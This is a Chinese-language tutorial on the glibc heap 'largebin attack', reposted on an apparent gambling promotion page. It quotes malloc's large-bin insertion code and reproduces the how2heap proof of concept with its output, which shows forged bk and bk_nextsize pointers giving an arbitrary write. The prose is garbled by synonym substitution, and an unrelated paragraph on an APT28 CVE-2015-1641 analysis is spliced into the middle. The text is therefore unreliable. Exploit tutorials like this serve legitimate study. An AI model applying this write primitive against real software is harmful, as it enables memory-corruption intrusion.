浅析largebin attack | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

浅析largebin attack

申博_人物事迹 申博 202次浏览 未收录 0个评论

large bin

大于512(1024)字节的chunk称之为large chunk,large bin就是用于治理这些large chunk的

Large bins 中一共包罗 63 个 bin,index为64~126,每一个 bin 中的 chunk 的巨细不一致,而是处于肯定区间局限内

largebin 的组织和其他链表都不雷同,越发庞杂

largebin里除有fd、bk指针,别的另有fd_nextsize 和 bk_nextsize 这两个指针

而且largebin的插进去递次不再是LIFO或FILO,而是一种全新的体式格局,我们来测试一下

我们先malloc六个堆块,现实巨细为0x400,0x410,0x420,0x430,然后我们顺次free能够获得下面这幅图

浅析largebin attack

借用V师傅的总结(雷同index下)

  • 依照巨细从大到小排序
  • 若巨细雷同,依照free时候排序
  • 若干个巨细雷同的堆块,只要首堆块的fd_nextsizebk_nextsize会指向其他堆块,背面的堆块的fd_nextsizebk_nextsize均为0
  • size最大的chunk的bk_nextsize指向最小的chunk; size最小的chunk的fd_nextsize指向最大的chunk

下面我们看下与large bin有关的详细代码:

while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
    bck = victim->bk;
    if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
        || __builtin_expect (chunksize_nomask (victim)
                   > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim), av);
    size = chunksize (victim);

    /*
      If a small request, try to use last remainder if it is the
      only chunk in unsorted bin.  This helps promote locality for
      runs of consecutive small requests. This is the only
      exception to best-fit, and applies only when there is
      no exact fit for a small chunk.
    */

    if (in_smallbin_range (nb) &&
        bck == unsorted_chunks (av) &&
        victim == av->last_remainder &&
        (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
    {
        /* split and reattach remainder */
        remainder_size = size - nb;
        remainder = chunk_at_offset (victim, nb);
        unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
        av->last_remainder = remainder;
        remainder->bk = remainder->fd = unsorted_chunks (av);
        if (!in_smallbin_range (remainder_size))
        {
            remainder->fd_nextsize = NULL;
            remainder->bk_nextsize = NULL;
        }

        set_head (victim, nb | PREV_INUSE |
                  (av != &main_arena ? NON_MAIN_ARENA : 0));
        set_head (remainder, remainder_size | PREV_INUSE);
        set_foot (remainder, remainder_size);

        check_malloced_chunk (av, victim, nb);
        void *p = chunk2mem (victim);
        alloc_perturb (p, bytes);
        return p;
    }

    /* remove from unsorted list */
    unsorted_chunks (av)->bk = bck;
    bck->fd = unsorted_chunks (av);

    /* Take now instead of binning if exact fit */

    if (size == nb)
    {
         set_inuse_bit_at_offset (victim, size);
         if (av != &main_arena)
             set_non_main_arena (victim);
         check_malloced_chunk (av, victim, nb);
         void *p = chunk2mem (victim);
         alloc_perturb (p, bytes);
         return p;
    }

    /* place chunk in bin */
    if (in_smallbin_range (size))
    {
        victim_index = smallbin_index (size);
        bck = bin_at (av, victim_index);
        fwd = bck->fd;
    }
    else
    {
        victim_index = largebin_index (size);
        bck = bin_at (av, victim_index);
        fwd = bck->fd;

        /* maintain large bins in sorted order */
        if (fwd != bck)
        {
             /* Or with inuse bit to speed comparisons */
             size |= PREV_INUSE;
             /* if smaller than smallest, bypass loop below */
             assert (chunk_main_arena (bck->bk));
             if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
             {
                 fwd = bck;
                 bck = bck->bk;
                 victim->fd_nextsize = fwd->fd;
                 victim->bk_nextsize = fwd->fd->bk_nextsize;
                 fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
              }
              else
              {
                  assert (chunk_main_arena (fwd));
                  while ((unsigned long) size < chunksize_nomask (fwd))
                  {
                      fwd = fwd->fd_nextsize;
                      assert (chunk_main_arena (fwd));
                  }

                  if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                  else
                  {
                      victim->fd_nextsize = fwd;
                      victim->bk_nextsize = fwd->bk_nextsize;
                      fwd->bk_nextsize = victim;
                      victim->bk_nextsize->fd_nextsize = victim;
                  }
                  bck = fwd->bk;
              }
          }
          else
              victim->fd_nextsize = victim->bk_nextsize = victim;
    }

    mark_bin (av, victim_index);
    victim->bk = bck;
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim;

在轮回的每次迭代中,将检索以后unsorted bin的末了一个chunk。若是unsorted bin中没有更多可用的chunk,则轮回将完毕
将按以下步调处置惩罚检索到的chunk

if (in_smallbin_range (nb) &&
        bck == unsorted_chunks (av) &&
        victim == av->last_remainder &&
        (unsigned long) (size) > (unsigned long) (nb + MINSIZE))

若是堆块是unsorted bin中的末了一个chunk,检索到的chunk的巨细合适所要求的chunk,检索到的块是last remainder而且要求的字节小于MIN_LARGE_SIZE,,检索到的chunk将被分割成所要求巨细的chunk和盈余chunk。要求巨细的chunk将返回给用户,盈余的chunk将再次插进去unsorted bin中

if (size == nb)

若是被free的堆块的巨细即是要求的巨细,则直接返回块

if (in_smallbin_range (size))

若是被free的堆块的巨细在small bin的局限内,则猎取响应的small bin的index,并将块插进去small bin

若是以上前提都不知足,则以为其在large bin巨细局限,进入chunk插进去large bin的步调

APT28分析之CVE-2015-1641样本分析

漏洞原理分析 两个文件都是rtf文件,我们使用oletools分析其中一个文件,并使用-s all 参数保存这些OLE文件,可以看到共三个OLE文件,我们重点分析下这三个文件 我们分析这3个文件,发现在打开id=2的文件的时候,出现了crash,我们重点关注下这个文件,我们发现程序在读取ecx的时候发现了错误 分析发现这块地址并未分配,而ecx 7c38bd50是从什么地方来的 进行栈回溯 进行解压,并查看里面的文件,从document.xml文件中,发现smartTag标签中出现了0x7c38BD50,跟Ecx里面的值一样,导致Crash,可以猜测道ecx里面的值来自smart标签的element属性。 我们来说一下这个漏洞的原理,该漏洞是由于wwlib.dll模块在处理标签内容时存在类型混淆漏洞,windbg具体跟下来看下漏洞的具体位置,通过栈回溯函数,发现了其中的XML解析函数,具体看下msxml6!Reader::ParseElementN,微软给了符号函数 我们看到Reader::ParseElementN函数肯定会调用GetTokenValueQName 函数 这个函数是获取标签名,fortinet下的断点是这样的 bp msxml6!Reader::ParseElementN+0x6a “.echo Parsing XML tag:;r $t0=ebp-20;dc @@c++(((StringPtr)@$t0)->pwh) l@@c++(((StringPtr)@$t0)->n/2); gc” 下断点,发现在crash

if (fwd != bck)
{
   ~~~~~~~~~~~~       
}
else
    victim->fd_nextsize = victim->bk_nextsize = victim;

起首推断large bin是不是为空,为空的话,直接将 chunk 的 fd_nextsize bk_nextsize 设置为本身

不为空则举行下一步

if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
    fwd = bck;
    bck = bck->bk;
    victim->fd_nextsize = fwd->fd;
    victim->bk_nextsize = fwd->fd->bk_nextsize;
    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}

若是被free的堆块的巨细小于large bin中末了一个块的巨细,我们将被free的堆块作为末了一个块插进去large bin中

else
{
    assert (chunk_main_arena (fwd));
    while ((unsigned long) size < chunksize_nomask (fwd))
    {
        fwd = fwd->fd_nextsize;
        assert (chunk_main_arena (fwd));
    }

    if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
        /* Always insert in the second position.  */
        fwd = fwd->fd;
    else
    {
        victim->fd_nextsize = fwd;
        victim->bk_nextsize = fwd->bk_nextsize;
        fwd->bk_nextsize = victim;
        victim->bk_nextsize->fd_nextsize = victim;
    }
    bck = fwd->bk;
}

不然,我们从链表头部最先遍历,直到找到第一个 size 大于即是待插进去 chunk 的链表,找到后推断链表的 size 是不是即是待插进去chunk的size,若是相称,直接将这个 chunk 插进去到以后链表的第二个地位,若是不相称,申明待插进去的chunk比以后链表头结点的 size 大,那末我们将待插进去的chunk作为以后链表的头结点,插进去到相符size的bin index后

how2heap large_bin_attack

#include<stdio.h>
#include<stdlib.h>

int main()
{
    fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see glibc_build.sh for build instructions.\n");
    fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
    fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
           "global variable global_max_fast in libc for further fastbin attack\n\n");

    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n");
    fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

    unsigned long *p1 = malloc(0x320);
    fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);

    fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
           " the first large chunk during the free()\n\n");
    malloc(0x20);

    unsigned long *p2 = malloc(0x400);
    fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);

    fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
           " the second large chunk during the free()\n\n");
    malloc(0x20);

    unsigned long *p3 = malloc(0x400);
    fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);

    fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
           " the third large chunk during the free()\n\n");
    malloc(0x20);

    free(p1);
    free(p2);
    fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:"
           " [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

    malloc(0x90);
    fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
            " freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
            ", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
            " [ %p ]\n\n", (void *)((char *)p1 + 0x90));

    free(p3);
    fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:"
           " [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));

    //------------VULNERABILITY-----------

    fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
            " as well as its \"bk\" and \"bk_nextsize\" pointers\n");
    fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
            " at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
            " \"bk_nextsize\" to 32 bytes before stack_var2\n\n");

    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2);
    p2[3] = (unsigned long)(&stack_var2 - 4);

    //------------------------------------

    malloc(0x90);

    fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
            " During this time, targets should have already been rewritten:\n");

    fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
    fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

    return 0;
}
This technique only works with disabled tcache-option for glibc, see glibc_build.sh for build instructions.
This file demonstrates large bin attack by writing a large unsigned long value into stack
In practice, large bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack

Let's first look at the targets we want to rewrite on stack:
stack_var1 (0x7ffc6975ac60): 0
stack_var2 (0x7ffc6975ac68): 0

Now, we allocate the first large chunk on the heap at: 0x1b31000
And allocate another fastbin chunk in order to avoid consolidating the next large chunk with the first large chunk during the free()

Then, we allocate the second large chunk on the heap at: 0x1b31360
And allocate another fastbin chunk in order to avoid consolidating the next large chunk with the second large chunk during the free()

Finally, we allocate the third large chunk on the heap at: 0x1b317a0
And allocate another fastbin chunk in order to avoid consolidating the top chunk with the third large chunk during the free()

We free the first and second large chunks now and they will be inserted in the unsorted bin: [ 0x1b31360 <--> 0x1b31000 ]

Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation, and reinsert the remaining of the freed first large chunk into the unsorted bin: [ 0x1b310a0 ]

Now, we free the third large chunk and it will be inserted in the unsorted bin: [ 0x1b317a0 <--> 0x1b310a0 ]

Now emulating a vulnerability that can overwrite the freed second large chunk's "size" as well as its "bk" and "bk_nextsize" pointers
Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk at the head of the large bin freelist. To overwrite the stack variables, we set "bk" to 16 bytes before stack_var1 and "bk_nextsize" to 32 bytes before stack_var2

Let's malloc again, so the freed third large chunk being inserted into the large bin freelist. During this time, targets should have already been rewritten:
stack_var1 (0x7ffc6975ac60): 0x1b317a0
stack_var2 (0x7ffc6975ac68): 0x1b317a0

让我们简化一下代码把解释局部去掉

unsigned long *p1 = malloc(0x320);
malloc(0x20);
unsigned long *p2 = malloc(0x400);
malloc(0x20);
unsigned long *p3 = malloc(0x400);
malloc(0x20);

free(p1);
free(p2);

malloc(0x90);
free(p3);

在VULNERABILITY之前我们的chunk组织以下

last_remainder: 0x6030a0 (size : 0x290)
     unsortbin: 0x6037a0 (size : 0x410) <--> 0x6030a0 (size : 0x290)
  largebin[ 0]: 0x603360 (size : 0x410)
0x6030a0 PREV_INUSE struct malloc_chunk {
prev_size   = 0x0
size        = 0x291
fd          = 0x7ffff7dd1df8
bk          = 0x6037a0
fd_nextsize = 0x0
bk_nextsize = 0x0

0x603360 PREV_INUSE struct malloc_chunk {
prev_size   = 0x0
size        = 0x411
fd          = 0x7ffff7dd1f68
bk          = 0x7ffff7dd1f68
fd_nextsize = 0x603360
bk_nextsize = 0x603360

0x6037a0 PREV_INUSE struct malloc_chunk {
prev_size   = 0x0
size        = 0x411
fd          = 0x6030a0
bk          = 0x7ffff7dd1b78
fd_nextsize = 0x0
bk_nextsize = 0x0

我们能够看出p2在largebin中,p1和p3在unsorted bin中

p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);

接下来我们修正了p2的chunk,将size改小,将bk指向&stack_var1-0x10,将bk_nextsize指向&stack_var2 – 0x20

接下来我们malloc一个堆块,使p3进入largebin,然后将栈上的两个变量改成p3

我们来剖析一下个中的步调

malloc一个堆块,此时fastbin为空,我们会去unsortedbin历遍寻觅,但p3的size不在smallbin的局限内,p3的size大于p2(0x3f1),p3插进去large bin的头结点,并实行以下操纵

else
{
     victim->fd_nextsize = fwd;
     victim->bk_nextsize = fwd->bk_nextsize;
     fwd->bk_nextsize = victim;
     victim->bk_nextsize->fd_nextsize = victim;
}

victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

victim为p3,fwd为p2

经由过程上面代码我们能够完成fwd->bk_nextsize->fd_nextsize=victim,fwd->bk=victim,修正fwd的bk和bk_size

我们如许经由过程组织 nextsize 双向链表,使得栈上的两个变量变成p3,终究能够完成恣意地点写


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明浅析largebin attack
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址